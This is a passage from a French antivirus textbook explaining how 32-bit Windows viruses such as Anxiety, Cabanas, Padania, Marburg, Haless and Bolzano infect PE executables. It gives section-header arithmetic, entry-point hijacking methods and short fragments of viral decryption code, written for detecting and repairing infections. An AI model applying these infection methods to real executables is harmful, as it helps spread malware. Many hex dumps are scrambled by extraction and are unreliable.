Le virus dénomme la nouvelle section .vlad. Elle est ainsi bâtie : Taille Virtuelle = ((( Taille Virus + Taille Buffer )/Alignement Section )+ 1) * Alignement Section Taille Virtuelle = ((( BE6h + 1000h )/ 1000h )+ 1) * 1000h Taille Virtuelle = 2000h RVA = (((RVA original + Taille Virtuelle originale)/Alignement Section )+ 1) * Alignement Section RVA = ((( C000h + 03FEh )/ 1000h )+ 1) * 1000h RVA = D000h Taille Phys. = ((( Taille Virus )/Alignement Fichier))+1) * Alignement Fichier Taille Phys. = ((( BE6h )/ 200h ))+1) * 200h Taille Phys. = C00h Adresse Phys. = (((Adresse Phys. originale + Taille Phys. originale)/Alignement Fichier)+ 1) * Alignement Fichier Adresse Phys. = ((( 7C00h + 0400h )/ 200h )+ 1) * 200h Adresse Phys. = 8200h Caractéristiques = Contenance de Constantes + Lecture + Ecriture Caractéristiques = 0x00000040h + 0x40000000h + 0x80000000h Caractéristiques = 0xC0000040h 00000240: 2E 76 6C 61 64 00 00 00 – 00 20 00 00 00 D0 00 00 00000250: 00 0C 00 00 00 82 00 00 – 00 00 00 00 00 00 00 00 00000260: 00 00 00 00 40 00 00 C0 -
.vlad
PAGET_Ch05 Page 175 Lundi, 11. avril 2005 5:24 17
175
5.2 L’environnement 32 bits
Dans l’entête PE, le nombre d’entrées dans la table des objets est incrémenté de 1 : 00000080: 50 45 00 00 4C 01 06 00 – 91 99 A0 34 00 00 00 00 00000090: 00 00 00 00 E0 00 0E 01 -
PE
Dans l’entête optionnelle : • l’offset du point d’entrée [PE + 28h] est remplacé par l’adresse virtuelle relative de la nouvelle section, • la taille du programme (Image Size) [PE + 50h] est actualisée (+ 1000h), • la valeur F00Dh est écrite dans une zone réservée. Le virus l’utilisera comme marqueur d’infection. 00000090: 000000A0: 000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00000110: 00000120: 00000130: 00000140: 00000150: 00000160: 00000170:
00 00 04 00 00 00 00 00 00 00 00 00 00 00
60 40 00 F0 00 00 B0 00 C0 00 00 00 00 00
00 00 00 00 10 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 10 28 00 20 00 00 00 00 00
00 00 00 04 10 00 00 00 03 00 00 00 00 00
00 40 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00
– – – – – – – – – – – – – – -
0B 00 00 04 00 00 00 00 00 00 00 00 A8 00
01 D0 10 00 00 00 00 00 00 00 00 00 B0 00
03 00 00 00 00 10 00 00 00 00 00 00 00 00
0A 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 0D 03 00 00 00 00 00 00 00 80 00
2E 10 02 F0 00 10 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00
© Dunod – La photocopie non autorisée est un délit
Notons que la taille de l’entête des sections n’est pas modifiée par cet ajout. Le nombre limité de sections au sein d’un fichier fait que cette zone contient généralement de l’espace libre. La présence du virus n’induit donc aucun décalage dans les entêtes. Seul du code complémentaire est ajouté en fin de fichier.
Ajout de code en fin de dernière section et modification du point d’entrée Nous étudions cette fois ci le virus W95/Anxiety.1596 Dans notre exemple, la dernière section se dénomme .reloc : 00000210: – 2E 72 65 6C 6F 63 00000220: FE 03 00 00 00 C0 00 00 – 00 04 00 00 00 7C 00000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 Taille Virtuelle (.reloc) = 03FEh (offset RVA(.reloc) = C000h (offset Physical Size (.reloc) = 0400h (offset Physical Offset (.reloc) = 7C00h (offset Caractéristiques (.reloc) = 42000040h (offset
00 00 00 00 00 42 08h) 0Ch) 10h) 14h) 24h)
.reloc
Pour s’infiltrer dans la section, le virus opère les modifications suivantes dans l’entête des sections :
PAGET_Ch05 Page 176 Lundi, 11. avril 2005 5:24 17
176
Chapitre 5. Les virus programme
Taille Virtuelle = Taille Virtuelle originale + 1000h Taille Virtuelle = 3FEh + 1000h Taille Virtuelle = 13FEh RVA = RVA (inchangée) Taille Phys. = Taille Virtuelle originale + Taille du Virus Taille Phys. = 3FEh + 800h Taille Phys. = BFEh Adresse Phys. = Adresse Phys. (inchangée) Caractéristiques = Contenance de Constantes + Exécution + Lecture + Ecriture Caractéristiques = 0x00000040h + 0x20000000h + 0x40000000h + 0x80000000h Caractéristiques = 0xE0000040h
En conséquence, la dernière section devient : 00000210: – 2E 72 65 6C 6F 63 00 FF 00000220: FE 13 00 00 00 C0 00 00 – FE 0B 00 00 00 7C 00 00 00000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 00 E0
.reloc
Le dernier octet du nom de section est mis à FFh. Il s’agit du marqueur d’infection. La nouvelle taille physique est augmentée de 7FEh (2046 octets). Il s’agit de l’exacte différence de taille entre un fichier sain et un fichier infecté. La taille du virus est 800h (2048 octets). Il y a donc une différence de 2 octets. Cela s’explique par le fait que ce virus s’installe en fin de section et non pas en fin de fichier. Les 2 derniers octets du fichier sain sont donc définitivement perdus ce qui n’a souvent aucune importance. Cette zone est cependant utilisée par certaines applications. Pour quelques compacteurs (exemple WINRAR SFX), elle contient les données compressées par l’outil. En cas d’attaque virale, elles sont définitivement écrasées et le fichier est irrécupérable. Il n’y a pas de changement dans l’entête PE. Dans l’entête optionnelle, la taille virtuelle originale de la section (avant infection) est ajoutée à la taille du programme (Image Size) [PE + 50h] : Taille Programme = prev. Taille Programme + Taille Virtuelle originale of last section Taille Phys. = D000h + 3FEh Taille Phys. = D3FEh
L’offset du point d’entrée [PE + 28h] est modifié pour atteindre le début du code viral (juste après la fin de la dernière section d’origine). Le virus prend soin de soustraire 1000h octets car la valeur de l’alignement de la section est inférieure à la taille du virus. 00000090: 000000A0: 000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100:
00 00 04 FE 00 00 00
60 40 00 D3 00 00 B0
00 00 00 00 10 00 00
00 00 00 00 00 00 00
00 00 00 00 00 10 28
00 00 00 04 10 00 00
00 40 00 00 00 00 00
00 00 00 00 00 00 00
– – – – – – – –
0B FE 00 04 00 00 00 00
01 C3 10 00 00 00 00 00
03 00 00 00 00 10 00 00
0A 00 00 00 00 00 00 00
00 00 00 00 03 00 00 00
2E 10 02 00 00 10 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
PAGET_Ch05 Page 177 Lundi, 11. avril 2005 5:24 17
177
5.2 L’environnement 32 bits
00000110: 00000120: 00000130: 00000140: 00000150: 00000160: 00000170:
00 00 00 00 00 00 00
00 C0 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 20 00 00 00 00 00
00 03 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
– – – – – – -
00 00 00 00 A8 00
00 00 00 00 B0 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 80 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
Tout comme pour les anciens programmes MS-DOS, le virus se doit de sauvegarder les données relatives au point d’entrée original du programme. Sans cela il lui serait impossible de lui passer la main après exécution du code viral. Dans le cas présent l’EP-RVA d’origine est visible à [EP-RVA viral + ACh]. 00007FF0: 00008000: 00008010: 00008020: 00008030: 00008040: 00008050: 00008060: 00008070: 00008080: 00008090: 000080A0:
A3 B9 00 C9 D4 20 20 00 BD BD A4
00 FF 81 74 2B 75 40 89 B6 2C 8C
00 FF FF 6E FB 4E 00 43 20 21 8D
66 FF 00 90 B8 90 8B 3C 40 40 B2
2B FF C0 90 7F 90 00 8D 00 00 20
C9 F2 00 90 15 90 89 B5 81 81 40
BF AE C0 90 00 90 85 02 AD AD 00
00 8B 73 2B C0 8B D2 20 B6 2C EB
– – – – – – – – – – –
10 D9 78 D9 8B 5B 20 40 20 21 00
00 0B 90 81 18 30 40 00 40 40 EA
C0 C9 90 FB 81 8D 00 B9 00 00 B0
B8 0F 90 3F 7B 43 8D 3F 02 02 11
FF 84 90 07 0C 3C 87 06 20 20 40
00 80 F3 00 56 89 B2 00 40 40 00
BDFC 00 00 00 00 AE 0B 00 72 4D 4D 85 C1 00 00 00 89 00 89 00 F3 37 01
Pour être précis : Valeur sauvée = Adresse de base + EP-RVA d’origine 004011B0h = 00400000h + 000011B0h
Ajout de code en fin de dernière section et redirection depuis le point d’entrée (inchangé) Cette technique se retrouve dans le virus W32/Cabanas.A.
© Dunod – La photocopie non autorisée est un délit
La section .reloc de notre fichier appât nous est maintenant familière : 00000210: – 2E 72 65 6C 6F 63 00 00 .reloc 00000220: FE 03 00 00 00 C0 00 00 – 00 04 00 00 00 7C 00 00 00000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 00 42 Taille Virtuelle (.reloc) = 03FEh (offset 08h) RVA(.reloc) = C000h (offset 0Ch) Physical Size (.reloc = 0400h (offset 10h) Physical Offset (.reloc) = 7C00h (offset 14h) Caractéristiques (.reloc) = 42000040h (offset 24h) Le virus effectue les modifications suivantes : Taille Virtuelle = Taille Virtuelle originale + 1300h + 00xxh (afin d’obtenir DB) Taille Virtuelle = 3FEh + 1300h + 00DDh Taille Virtuelle = 17DBh RVA = RVA (inchangée) Taille Phys. = Taille Phys. originale + Taille du Virus Taille Phys. = 400h + C00h Taille Phys. = 1000h Adresse Phys. = Adresse Phys. (inchangée) Caractéristiques = Prev. Caractéristiques + Ecriture Caractéristiques = 0x42000040h + 0x80000000h Caractéristiques = 0xC2000040h
PAGET_Ch05 Page 178 Lundi, 11. avril 2005 5:24 17
178
Chapitre 5. Les virus programme
En conséquence la section devient : 00000210: – 2E 72 65 6C 6F 63 00 00 00000220: DB 17 00 00 00 C0 00 00 – 00 10 00 00 00 7C 00 00 00000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 00 C2
.reloc
Dans l’entête PE le champ Date et Heure de Création est modifié. La nouvelle valeur est issue d’un calcul de checksum que le virus utilise comme marqueur d’infection. 00000080: 50 45 00 00
PE
4C 01 05 00 – A3 A6 FD 2E 00 00 00 00 00000090: 00 00 00 00 E0 00 0E 01 -
Dans l’entête optionnelle, la taille du programme (Image Size) [PE + 50h] est actualisée (+1000h). Le point d’entrée [PE + 28h] est inchangé : 00000090: 000000A0: 000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00000110: 00000120: 00000130: 00000140: 00000150: 00000160: 00000170:
00 00 04 00 00 00 00 00 00 00 00 00 00 00
60 40 00 E0 00 00 B0 00 C0 00 00 00 00 00
00 00 00 00 10 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 10 28 00 20 00 00 00 00 00
00 00 00 04 10 00 00 00 03 00 00 00 00 00
00 40 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00
– – – – – – – – – – – – – –
0B B0 00 04 00 00 00 00 00 00 00 00 A8 00
01 11 10 00 00 00 00 00 00 00 00 00 B0 00
03 00 00 00 00 10 00 00 00 00 00 00 00 00
0A 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 03 00 00 00 00 00 00 00 80 00
2E 10 02 00 00 10 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00
Les cinq premiers octets du point d’entrée – là ou se situait préalablement la fin du fichier – sont remplacés par un saut (FAR JMP) vers le début du code viral : 000005B0: 64 A1 00 00 00 00 55 8B – EC 6A FF 68 00 40 40 00 (fichier original) 000005B0: E9 4B B2 00 00 00 55 8B – EC 6A FF 68 00 40 40 00 (fichier infecté)
Ces 5 octets sont nécessaires au virus, il doit les restituer lorsqu’il redonne la main au programme. Ceux ci sont stockés, après avoir été crypté, non loin du point d’entrée viral : 00008000: E8 AE 01 00 00 0D EB 02 – 4D 05 00 49 70 6A 6A 6A Tableau 5.8 — Grille de décryptage du virus Cabanas Valeur stockée AL
B1
B2
B3
B4
B5
49
70
6A
6A
6A
100
MOV CL,5
5
4
3
2
1
102
XOR AL,6A
23
1A
00
00
00
104
ROL AL,CL
64
A1
00
00
00
106
LOOP 102
PAGET_Ch05 Page 179 Lundi, 11. avril 2005 5:24 17
179
5.2 L’environnement 32 bits
Notons pour finir qu’après infection, la taille du fichier est de 35 865 octets ; c’est un multiple de 101 (35865 = 101 * 355), cette indication nous précise que le virus a été écrit par un membre du groupe 29A.
Ecrasement de la dernière section et redirection depuis le point d’entrée (inchangé) W95/Padania va nous servir d’exemple. Un premier examen de notre fichier appât nous montre qu’un marqueur d’infection est visible dans l’entête optionnelle : 00000080: 00000090: 00000090: 000000A0: 000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00000110:
50 45 00 00 4C 01 05 00 – 00 00 00 00 E0 00 0E 01 – 00 60 00 00 00 00 00 00 – 00 40 00 00 00 00 40 00 – 04 00 00 00 62 30 7A 30 – 00 D0 00 00 00 04 00 00 – 00 00 10 00 00 10 00 00 – 00 00 00 00 10 00 00 00 – 00 B0 00 00 28 00 00 00 – 00 00 00 00 00 00 00 00 –
91 99 A0 34 00 00 00 00 0B B0 00 04 00 00 00 00 00
01 11 10 00 00 00 00 00 00
03 00 00 00 00 10 00 00 00
0A 00 00 00 00 00 00 00 00
00 00 00 00 03 00 00 00 00
2E 10 02 00 00 10 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
PE
....b0z0
Le virus a écrasé (avec 00h) l’adresse virtuelle relative et la taille de la table Fixup. 00000120: 00 00 00 00 00 00 00 00 -
Dans l’entête des sections, la dernière d’entre elle a disparue. La section .reloc est remplacée par une entrée dénommée Padania. L’analyse d’autres fichiers infectés nous montre qu’en l’absence de section nommée .reloc le virus agit comme l’aurait fait W95/Boza.D : il rajoute une section et incrémente de 1 leur nombre [PE + 06h].
© Dunod – La photocopie non autorisée est un délit
00000210: – 50 61 64 61 6E 69 61 20 00000220: 37 05 00 00 00 00 C0 BF – 37 05 00 00 00 7C 00 00 00000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 00 C0
Padania
Deux cas se présentent à nous. Pour le premier, un court programme est écrit en continuité du descriptif de la nouvelle section. 00000268 00000278: 00000288: 00000298:
9C 50 50 FF
80 44 68 E0
3D 4E 00 50
3B 27 00 44
05 75 00 4E
00 12 C0 27
C0 60 C3 39
00 E8 61 38
– – – –
75 1E 81 3D 2B 05 00 C0 00 00 00 00 58 83 C0 0B 9D EB 00 B8 B0 11 40 00 E9
PDN’
Le virus peut ensuite agir de deux manières distinctes : • Il modifie l’adresse du point d’entrée. On se retrouve alors dans le cas du virus W95/Anxiety.1596 ; l’adresse originale du point d’entrée est stockée dans la zone récemment créée (ci-dessus en gras). • Il laisse inchangé l’adresse du point d’entrée mais redirige rapidement le programme vers la nouvelle zone récemment créée.
PAGET_Ch05 Page 180 Lundi, 11. avril 2005 5:24 17
180
Chapitre 5. Les virus programme
Dans ce second cas, le virus n’écrase pas directement les premiers octets du programme sain. Il recherche une zone particulière pour y positionner son saut. Selon les cas, 5 ou 6 octets sont écrasés après avoir été préalablement sauvegardé. 00000240: 00000250: 00000260: 00000270:
9C 50 50 FF
80 44 68 E0
3D 4E 00 90
3B 27 00 68
05 75 00 10
00 12 C0 2C
C0 60 C3 40
00 E8 61 00
– – – –
75 00 9D E9
1E 00 EB 48
81 3D 2B 05 00 C0 00 00 58 83 C0 0B 07 B8 06 10 40 00 0F
000005B0: 000005C0: 000005B0: 000005C0:
64 68 64 E9
A1 10 A1 7B
00 2C 00 F0
00 40 00 FF
00 00 00 FF
00 50 00 50
55 64 55 64
8B 89 8B 89
– – – –
EC 25 EC 25
6A 00 6A 00
FF 00 FF 00
68 00 68 00
00 00 00 00
40 83 40 83
40 EC 40 EC
PDN’
00 (fichier original) 10 00 (fichier infecté) 10
Méthodes combinées avec polymorphie Afin de rendre plus difficile l’éradication, certains virus agissent différemment selon la structure des fichiers qu’ils infectent C’est le cas des variantes A et B de W95/ Marburg. Le virus rajoute son code à la fin de la dernière section après l’avoir crypté à l’aide d’un moteur polymorphe. Il agit ensuite selon l’une des 3 manières suivantes : • il modifie, dans la majorité des cas, l’adresse du point d’entrée (méthode W95/ Anxiety.1596), • il laisse inchangé l’adresse du point d’entrée mais y positionne un saut vers sont propre code (méthode W32/Cabanas.A), • il laisse inchangé l’adresse du point d’entrée mais y positionne une routine polymorphique suivie d’un saut. La suite de l’exemple est liée à la seconde possibilité. Revenons, une fois de plus sur la structure de la dernière section de notre programme appât : 00000210: – 2E 72 65 6C 6F 63 00 00 00000220: FE 03 00 00 00 C0 00 00 – 00 04 00 00 00 7C 00 00 00000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 00 42 Taille Virtuelle (.reloc) = 03FEh (offset 08h) RVA(.reloc) = C000h (offset 0Ch) Physical Size (.reloc) = 0400h (offset 10h) Physical Offset (.reloc) = 7C00h (offset 14h) Caractéristiques (.reloc) = 42000040h (offset 24h) Une fois modifiées par le virus, les valeurs deviennent : Taille Virtuelle (.reloc) = 25ECh (offset 08h) Physical Size (.reloc) = 2600h (offset 10h) Caractéristiques (.reloc) = C0000040h (offset 24h) 00000210: – 2E 72 65 6C 6F 63 00 00 00000220: EC 25 00 00 00 C0 00 00 – 00 26 00 00 00 7C 00 00 00000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 00 C0
.reloc
.reloc
Dans l’entête optionnelle, la taille du programme (Image Size) [PE + 50h] est modifiée. L’adresse du point d’entrée [PE + 28h] est inchangée. 00000090: – 0B 01 03 0A 00 2E 00 00 000000A0: 00 60 00 00 00 00 00 00 – B0 11 00 00 00 10 00 00
PAGET_Ch05 Page 181 Lundi, 11. avril 2005 5:24 17
181
5.2 L’environnement 32 bits
000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00000110: 00000120: 00000130: 00000140: 00000150: 00000160: 00000170:
00 04 00 00 00 00 00 00 00 00 00 00 00
40 00 00 00 00 B0 00 C0 00 00 00 00 00
00 00 01 10 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 10 28 00 20 00 00 00 00 00
00 00 04 10 00 00 00 03 00 00 00 00 00
40 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
– – – – – – – – – – – –
00 04 00 00 00 00 00 00 00 00 A8 00
10 00 00 00 00 00 00 00 00 00 B0 00
00 00 00 10 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 03 00 00 00 00 00 00 00 80 00
02 00 00 10 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
Au point d’entrée d’origine, les 5 premiers octets sont remplacés par un saut (FAR JMP) vers la fin du code viral : 000005B0: 64 A1 00 00 00 00 55 8B – EC 6A FF 68 00 40 40 00 000005B0: E9 EC C8 00 00 00 55 8B – EC 6A FF 68 00 40 40 00 (jmp 0000CEA1)
(original file) (infected file)
Cette adresse correspond au début du moteur de décryptage polymorphique. De nombreux sauts et de nombreuses instructions sans intérêt (en anglais, garbage) sont insérées parmi les quelques instructions utiles. Le code se résume à : xxxx:96A1
garbage mov , V1 garbage fonction de décryptage (+ garbage) garbage inc ou dec garbage cmp , V2 81 ? ? ? ? ? jne decrypt: 0F 85 ? FF FF FF garbage jmp code décrypté
© Dunod – La photocopie non autorisée est un délit
decrypt:
La fonction de décryptage est réalisée par un SUB ou un XOR. Les registres utilisés sont variables. À titre d’exemple, l’instruction CMP est à même de prendre les valeurs suivantes : 81 81 81 81
F8 FA FC FE
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
(reg_02 (reg_02 (reg_02 (reg_02
= = = =
eax) edx) esp) esi)
81 81 81 81
F9 FB FD FF
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
(reg_02 (reg_02 (reg_02 (reg_02
= = = =
ecx) ebx) ebp) edi)
Les opcodes, éléments déterminant d’une instruction qui la définisse et la différencie sans ambiguïté, correspondent à la loi : opcode AND F8FFh = F881h
Au travers des 2 exemples ci-dessous, il est possible de repérer les instructions utiles (en gras) perdues au milieu du code superflu.
PAGET_Ch05 Page 182 Lundi, 11. avril 2005 5:24 17
182
Chapitre 5. Les virus programme
Exemple N°1 0096DF 0096EF 0096FF 00970F 00971F 00972F 00973F 00974F 00975F 00976F 00977F 00978F 00979F 0097AF 0097BF 0097CF 0097DF 0097EF
13 43 8B D0 07 DF A3 9B FF A3 33 FC FA E9 E9 52 F3 00
4D F9 DA D6 2C 99 C1 B1 8C C9 C1 F9 D9 81 3C A7 00 00
56 FA E9 56 2B 61 8B C7 2F 42 2B 75 E8 F9 E8 B5 00 00
AC 4A 14 A9 53 1D 82 0A 92 42 89 67 F3 07 FF 3D 00 00
69 0F 00 AF 21 E9 B8 30 3A A9 E9 1C 70 6F FF 9E 00 00
41 BF 00 5A BC 1C F3 0F 05 3F 1C 47 81 85 D1 41 00 00
DD DB 00 16 43 00 A7 BF E3 1A 00 C2 EF A1 06 D0 00 00
32 B9 E7 CF D5 00 2E EE 80 3F 00 DA 04 0F C9 FF 00 00
4F 5F A4 1A 13 00 7E BD EE 67 00 6E 00 85 7B EA 00 00
4B 69 80 EA 10 69 A9 FD C3 46 71 E1 00 5E E3 73 00 00
2C 85 D9 D3 B8 85 AF FF 41 2B CB 6D 00 FF DF 5A 00 00
3F A1 01 E9 D6 94 04 FF E9 34 51 D2 0F FF AC CF 00 00
91 0F DB 14 F9 F5 48 FF 14 41 AF DB BF FF A6 A0 00 00
88 BF 8F 00 4C A7 0F 66 00 4C 03 33 DF 0F E9 A9 00 00
96 DE FF 00 B3 18 BF 8B 00 80 8F B8 66 BF C4 1C 00 00
71 66 93 00 B7 D8 51 F7 00 12 C5 85 8B EF 09 F4 00 00
7A B2 E6 D4 F0 E8 00 7E C8 67 DD 5B 00
81 31 12 E5 A0 81 41 71 27 0F 21 D1 00
F1 66 85 83 73 EE 8A F3 81 BF D9 E9 00
E7 8B 69 AD 67 01 AA 02 F9 CF 5A 9E 00
95 EB BA EC 37 00 F6 47 C0 E9 92 DB 00
BF 66 F3 38 71 00 33 03 F5 57 13 00 00
3B 8B 1A 39 59 00 33 EB B1 E8 7F 00 00
80 DA 6C 11 4E 0F 87 22 31 FF CF 00 00
D9 BD 77 8B 3B BF A6 79 0F FF F0 00 00
8F 13 E9 8F E7 EE 69 F9 85 19 79 00 00
80 82 1C C7 4F 8B EA 60 8A 00 99 00 00
DE 62 00 F9 80 CF A5 7D FF EB C8 00 00
C7 2C 00 6A E1 E9 B2 45 FF 98 E7 00 00
BF 80 00 81 27 1C 8F BA FF 07 5F 00 00
61 B6 B1 A1 66 00 05 33 80 3F 0A 00 00
Exemple N°2 00970F 00971F 00972F 00973F 00974F 00975F 00976F 00977F 00978F 00979F 0097AF 0097BF 0097CF
ED 0C CD 34 9F 8B 00 04 DA DD 6D 38 00
Insertion du code dans l’entête des sections et modification du point d’entrée Pour cet exemple qui traite du virus W32/Haless.1127, il n’a pas été possible d’utiliser notre appât habituel. Le fichier infecté est WRITE.EXE (Windows NT4). Dans l’en-tête optionnelle, seuls 2 éléments sont modifiés : • L’offset du point d’entrée [PE + 28h] est remplacé par l’adresse virtuelle relative de la nouvelle section (valeur initiale 0x00001080h). • La taille de toutes les entêtes [PE + 54h] n’est plus standard (valeur initiale 0x00000400h). 000090 0000A0 0000B0 0000C0 0000D0 0000E0 0000F0 000100
00 00 04 00 00 00 F4
12 20 00 60 00 00 20
00 00 00 00 10 00 00
00 00 00 00 00 00 00
00 00 04 00 00 10 50
00 00 00 07 10 00 00
00 9E 00 00 00 00 00
00 02 00 00 00 00 00
0B 40 00 04 7B 00 00 00
01 02 10 00 EB 00 00 40
03 00 00 00 00 10 00 00
0A 00 00 00 00 00 00 00
00 00 00 00 02 00 00 7C
04 10 02 00 00 10 00 08
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
PAGET_Ch05 Page 183 Lundi, 11. avril 2005 5:24 17
183
5.2 L’environnement 32 bits
000110 000120 000130 000140 000150 000160 000170
00 00 00 00 00 00 00
00 50 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 5C 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 50 00 00 00 00
00 20 00 00 20 00
00 00 00 00 00 00
00 00 00 00 00 00
00 1C 00 00 50 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
Si le fichier WRITE.EXE a pu subir l’infection virale, c’est qu’une zone libre suffisamment importante est à la disposition du virus. Une étude du fichier sain, montre en effet qu’aucun code n’est présent entre l’offset 240h (fin de l’entête des sections) et l’offset 1000h (début de la première section). Cette zone ne contient qu’une succession de 00h. C’est cette particularité qui a permis au virus de s’installer dans cet espace (entre l’offset 240h et l’offset 6A7h). Les puristes remarqueront que : 6A7h – 240h = 467h, soit 1127 octets. 000240 E8 5F 03 00 00 2D 05 10 40 . . . 000530 77 42 03 0C 24 57 BE 00 10 000540 2B 4C 24 04 87 48 28 53 8B . . . 000670 69 65 77 4F 66 46 69 6C 65 000680 74 65 64 20 62 79 20 57 69 000690 68 6E 6F 4D 69 78 2E 48 61 0006A0 31 00 E9 D9 09 00 00 00 00
00 50 8B 44 24 04 25 40 00 03 73 0C 8B F9 D9 B9 67 04 00 00 F3 00 6E 72 00
00 33 6D 00
49 32 6C 00
6E 2E 65 00
66 54 73 00
65 65 73 00
63 63 2E 00
Infec ted by Win32.Tec hnoMix.Harmless.
L’adresse du point d’entrée d’origine se calcule à partir d’une valeur visible en fin du code viral (le saut qu’effectue le virus pour rejoindre le code sain). C’est celle ci qui nous aidera, le moment venu à réparer le fichier :
© Dunod – La photocopie non autorisée est un délit
Adresse actuelle du point d’entrée – Valeur du saut – Taille du virus = Adresse du point d’entrée d’origine
0240h 09D9h 0467h 1080h
Ecrasement de la dernière section et redirections successives Dans cet exemple (W32/Bolzano.L), l’auteur du virus a clairement cherché la complication pour espérer gêner les chercheurs. Il faut suivre une succession de sauts disséminés dans le code original pour enfin atteindre le code viral. Il n’y a pas de changement dans l’entête PE. Dans l’entête optionnelle, la taille du programme (Image Size) est augmentée de 2000h. Les autres modifications habituelles vus dans les exemples précédents affectent la dernière section. Une fois décrypté, le code du virus laisse apparaître une table d’offsets et de données. À chaque binôme correspond une adresse d’écrasement (ou le virus a positionné un saut) et une valeur sauvegardée (celle présente avant cet écrasement). C90 CA0
F4 96 28 01 D6 94 28 01 94 26 28 01 18 5B 28 01 D7 2F 28 01 15 2E 28 01
PAGET_Ch05 Page 184 Lundi, 11. avril 2005 5:24 17
184
Chapitre 5. Les virus programme
CB0 CC0 CD0 CE0 CF0 D00 D10 D20 D30 D40 D50 D60 D70 D80 D90 DA0 DB0 DC0 DD0 DE0 DF0 E00 E10 E20
D1 7F B4 86 57 C5 9E 3B B6 69 9E 5D C3 33 74 0E DF 0E 35 B6 49 EC FD 1C
7F 70 4A 94 C6 7D 6F 7A 3C 47 BE BF 63 A0 C6 17 92 74 2E 55 19 63 C0 AC
28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 FE
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
A0 50 B4 99 80 E0 F0 00 90 10 80 80 40 30 D0 99 86 E0 99 E9 99 80 80 57
7C 71 5F 92 CD 84 70 A3 42 62 A0 A0 63 A4 CA 5A 92 66 5A 59 5A A0 A0 B0
28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 FE
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
06 64 5B 38 2B 49 6B BC B6 44 4A FF FB 5B F3 CE 49 6A 89 12 59 59 70
2A 76 57 B8 81 62 A2 62 16 82 C1 49 31 74 38 3A 9A 6E B1 4F AE 48 2E
28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
37 90 90 20 C0 80 00 20 31 20 80 90 E5 22 6C 60 DC 80 20 37 50 D7 99
32 AC 42 82 7C A0 BD 9E 52 7D A0 42 2F 67 36 5E 96 A4 C8 32 AF 52 5A
28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
Exemple : Offset:
6249 6249
E8CF0C0100 E8323E0000
call call
000016F1D (fichier infecté) 00000A080 (fichier sain)
La table est gérée par le programme suivant : 107: 10C: 110: 115: 118: 11D: 11F: 120: 122: 123: 125: 127: 128: A0B: A10: A11: A17:
E8FF0800 8B542420 B932000000 83EA05 BEB0120000 03F5 AD 3BC2 AD 7404 E2F8 61 C3 E800000000 5D 81ED100A0000 C3
call mov mov sub mov add lodsd cmp lodsd je loop popad retn call pop sub retn
000000A0B edx,[esp][00020] ecx,000000032 edx,005 esi,0000012B0 esi,ebp eax,edx 000000129 00000011F 000000A10 ebp ebp,000000A10
Il faudra le réutiliser pour espérer pouvoir réparer le fichier.
Point d’entrée obscur Les techniques que nous avons jusqu’ici détaillées s’appliquent à la grande majorité des virus actuels :
PAGET_Ch05 Page 185 Lundi, 11. avril 2005 5:24 17
185
5.2 L’environnement 32 bits
